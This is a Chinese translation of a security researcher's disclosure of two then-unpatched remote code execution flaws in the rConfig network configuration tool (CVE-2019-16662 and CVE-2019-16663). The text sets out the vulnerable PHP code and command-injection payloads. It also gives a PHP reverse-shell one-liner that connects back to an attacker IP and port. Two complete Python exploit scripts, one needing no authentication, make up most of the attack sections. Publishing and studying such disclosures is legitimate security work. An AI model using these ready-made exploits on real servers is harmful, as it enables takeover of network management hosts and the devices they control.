查看原文
其他

研究员公开网络设备配置管理开源程序 rConfig 中两个严重的 RCE 0day 漏洞(PoC 和详情)

Askar 代码卫士 2022-05-23
 聚焦源代码安全,网罗国内外最新资讯!
编译:奇安信代码卫士团队
如果你使用的是流行的 rConfig 网络配置管理工具保护并管理网络设备的话要注意了!安全研究员 Askar 发布了该工具中存在的两个未修复 RCE 漏洞的详情和 PoC至少其中一个漏洞可导致身份未验证的远程攻击者攻陷目标服务器和联网网络设备。奇安信代码卫士将该Askar的博客文章翻译如下:

rConfig 概述

rConfig 是一款用原生 PHP 编写的开源网络设备配置管理实用程序,供网络工程师对其网络设备进行经常性的配置快照。

关于 exploit

我在两个不同的文件中找到了两个远程命令执行漏洞:从“ajaxServerSettingsChk.php”文件中找到一个身份未经验证的 RCE 漏洞 (CVE-2019-16662),可由发送一个通过第2行中声明的“rootUname”参数构造的 GET 请求的方式触发。第2行声明“rootUname”参数,之后将其传递到第13行的 exec函数,可通过恶意 OS 命令将其注入使其在服务器上执行。发现并利用该漏洞较为直接,随后我将说明具体过程。
第二个 RCE 漏洞(CVE-2019-16663)是从“search.crud.php”文件中发现的,通过发送包含两个参数的构造的GET 请求即可触发。第一个参数是“searchTerm”,它可包含任何你想要的值,不过它应该具有值的原因是我们可以触及第63行的 exec 函数。
我决定像往常一样寻找 RCE 漏洞,于是开始通过一个在上次案例学习中用过的非常简单的 python 脚本列出所有不安全的函数。

身份未经验证的 RCE 漏洞分析

脚本运行后产生几个结果,于是我开始查看并注意到位于 install/lib/ajaxHandlers/ajaxServerSettingsChk.php 的文件名称为“ajaxServerSettingsChk.php”的文件,它包含:
ajaxServerSettingsChk.php
<?php$rootUname = $_GET['rootUname'];$array = array();/* check PHP Safe_Mode is off */if (ini_get('safe_mode')) { $array['phpSafeMode'] = '<strong><font class="bad">Fail - php safe mode is on - turn it off before you proceed with the installation</strong></font>br/>';} else { $array['phpSafeMode'] = '<strong><font class="Good">Pass - php safe mode is off</strong></font><br/>';}
/* Test root account details */$rootTestCmd1 = 'sudo -S -u ' . $rootUname . ' chmod 0777 /home 2>&1';exec($rootTestCmd1, $cmdOutput, $err);$homeDirPerms = substr(sprintf('%o', fileperms('/home')), -4);if ($homeDirPerms == '0777') { $array['rootDetails'] = '<strong><font class="Good">Pass - root account details are good </strong></font><br/>';} else { $array['rootDetails'] = '<strong><font class="bad">The root details provided have not passed: ' . $cmdOutput[0] . '</strong></font><br/>';}// reset /home dir permissions$rootTestCmd2 = 'sudo -S -u ' . $rootUname . ' chmod 0755 /home 2>&1';exec($rootTestCmd2, $cmdOutput, $err);
echo json_encode($array);

从第2行可看到脚本保存了名为“rootUname”的 GET 请求并将其保存到“$rootUname”变量中,在第12行中它拼接了“$rootUname”和几个字符串并将其保持到第12行中的“rootTestCmd1”变量中,之后将其传递到第13行中的 exec函数中,余下几行中也执行了同样的操作。
因此,我们只需要将命令注入并转义第13行的字符串执行命令即可,为此我们可使用如下 payload:
; your command #
为进行测试,我将修改该代码并在第13行 echo 函数 exec 的结果,之后编码 payload 并发送以获取如下结果:

可看到,发送 rootUname 中的编码“;id# “命令的结果是两次成功地执行了该命令。
因此,为获得shell,我们可使用如下payload:
;php -r '$sock=fsockopen("ip",port);exec("/bin/sh -i <&3 >&3 2>&3");

通过该payload 阻止使用CentOS 7.7 mini 中非默认安装的 nc 二进制。
使用 Burp编码并发送该payload 后,我们获得如下内容:


结果就是获得了shell!
为了自动化该过程,我写了一个简单的 python 脚本利用该漏洞:
#!/usr/bin/python
# Exploit Title: rConfig v3.9.2 unauthenticated Remote Code Execution# Date: 18/09/2019# Exploit Author: Askar (@mohammadaskar2)# CVE : CVE-2019-16662# Vendor Homepage: https://rconfig.com/# Software link: https://rconfig.com/download# Version: v3.9.2# Tested on: CentOS 7.7 / PHP 7.2.22
import requestsimport sysfrom urllib import quotefrom requests.packages.urllib3.exceptions import InsecureRequestWarningrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)
if len(sys.argv) != 4: print "[+] Usage : ./exploit.py target ip port" exit()
target = sys.argv[1]
ip = sys.argv[2]
port = sys.argv[3]
payload = quote(''';php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i <&3 >&3 2>&3");'#'''.format(ip, port))
install_path = target + "/install"
req = requests.get(install_path, verify=False)if req.status_code == 404: print "[-] Installation directory not found!" print "[-] Exploitation failed !" exit()elif req.status_code == 200: print "[+] Installation directory found!"url_to_send = target + "/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=" + payload
print "[+] Triggering the payload"print "[+] Check your listener !"
requests.get(url_to_send, verify=False)
运行该exploit后,我们将获得如下结果:

 
我们再次获得shell!

身份经验证的 RCE 漏洞分析

因此,RCE 扫描器中显示了其中一种其它结果,我从文件名称为“lib/crud/search.crud.php”文件中获得了另外一段有意思的代码:
 search.crud.php
if (isset($_GET['searchTerm']) && is_string($_GET['searchTerm']) && !empty($_GET['searchTerm'])) { /* validation */ $searchTerm = '"' . $_GET['searchTerm'] . '"'; $catId = $_GET['catId']; $catCommand = $_GET['catCommand']; $nodeId = $_GET['nodeId']; $grepNumLineStr = $_GET['numLinesStr']; $grepNumLine = $_GET['noLines']; $username = $_SESSION['username'];
// if nodeId was empty set it to blank if (empty($nodeId)) { $nodeId = ''; } else { $nodeId = '/' . $nodeId . '/'; }
$returnArr = array();
// Get the category Name from the Category selected $db2->query("SELECT categoryName from `categories` WHERE id = :catId"); $db2->bind(':catId', $catId); $resultCat = $db2->resultset(); $returnArr['category'] = $resultCat[0]['categoryName'];
// get total file count $fileCount = array(); $subDir = ""; if (!empty($returnArr['category'])) { $subDir = "/" . $returnArr['category']; }
exec("find /home/rconfig/data" . $subDir . $nodeId . " -maxdepth 10 -type f | wc -l", $fileCountArr); $returnArr['fileCount'] = $fileCountArr['0'];
//next find all instances of the search term under the specific cat/dir $command = 'find /home/rconfig/data' . $subDir . $nodeId . ' -name ' . $catCommand . ' | xargs grep -il ' . $grepNumLineStr . ' ' . $searchTerm . ' | while read file ; do echo File:"$file"; grep ' . $grepNumLineStr . ' ' . $searchTerm . ' "$file" ; done'; // echo $command;die(); exec($command, $searchArr);

首先,我们需要确保通过发送“searchTerm”的 GET 参数在第25行传递第一个 if 语句;之后需要另外一个 GET 参数“catCommand”,其中包含随后将被传递到第63行的 exec函数中:在第61行,该参数和某些字符串拼接并存储到$command 变量中,该变量将在63行被exec 函数执行。
因此,我将使用一个payload 来测试关于这个漏洞的理论。我使用的休眠 payload 试图休眠5秒钟,之后观察响应时间并与正常响应时间进行比对;在第61行,我们可以转义该字符串并使用多个 payload 执行代码,我将使用如下命令进行测试:
""&&$(`sleep 5`)#
通过 Burp将其发送后,得到如下结果:

成功!休眠payload起作用了,而且我们能够证实该命令已被执行。其实除休眠 paylaod之外还可以选择各种方法测试该 payload。
为了获得shell,我使用了phponliner 并将其构造为可与拼接字符串使用的状态,如下:
""&&php -r '$sock=fsockopen("192.168.178.1",1337);exec("/bin/sh -i <&3 >&3 2>&3");'#
为了将该过程自动化,我编写了一个简单的 exploit python 脚本:
#!/usr/bin/python
# Exploit Title: rConfig v3.9.2 Authenticated Remote Code Execution# Date: 18/09/2019# Exploit Author: Askar (@mohammadaskar2)# CVE : CVE-2019-16663# Vendor Homepage: https://rconfig.com/# Software link: https://rconfig.com/download# Version: v3.9.2# Tested on: CentOS 7.7 / PHP 7.2.22

import requestsimport sysfrom urllib import quotefrom requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
if len(sys.argv) != 6: print "[+] Usage : ./exploit.py target username password ip port" exit()
target = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]
request = requests.session()
login_info = { "user": username, "pass": password, "sublogin": 1}
login_request = request.post( target+"/lib/crud/userprocess.php", login_info, verify=False, allow_redirects=True )
dashboard_request = request.get(target+"/dashboard.php", allow_redirects=False)

if dashboard_request.status_code == 200: print "[+] LoggedIn successfully" payload = '''""&&php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i <&3 >&3 2>&3");'#'''.format(ip, port) encoded_request = target+"/lib/crud/search.crud.php?searchTerm=anything&catCommand={0}".format(quote(payload)) print "[+] triggering the payload" print "[+] Check your listener !" exploit_req = request.get(encoded_request)
elif dashboard_request.status_code == 302: print "[-] Wrong credentials !" exit()
运行该exploit 之后,可得到如下结果:

成功获得shell!

影响版本

这两个漏洞影响所有 rConfig 版本,包括最新版本3.9.2。

一名独立的安全研究员 Sudoka分析这两个漏洞后发现第二个漏洞 CVE-2019-16663 也可在无需验证的情况下在3.6.0之前的 rConfig 版本中遭利用。

目前这两个漏洞均未发布补丁。建议用户在补丁发布前临时从服务器中将其删除。

漏洞披露

2019年9月19日,我将这两个漏洞告知rConfig 的主开发员,但并未任何关于修复方案发布日期的回应,甚至未获得他们将修复这些漏洞的只言片语。
因此在35天后仍未收到回复的情况下,我公开了相关 exploit。




推荐阅读

如何利用开源工具收集美国关键基础设施情报?(超详说明)

BCS 2019议题分享|开源软件安全实践与思考

开源的云镜像仓库 Harbor 被曝提权漏洞



原文链接
https://shells.systems/rconfig-v3-9-2-authenticated-and-unauthenticated-rce-cve-2019-16663-and-cve-2019-16662/



题图:Pixabay License



本文由奇安信代码卫士编译,不代表奇安信观点,转载请注明“转自奇安信代码卫士 www.codesafe.cn”



奇安信代码卫士 (codesafe)

国内首个专注于软件开发安全的产品线。




您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存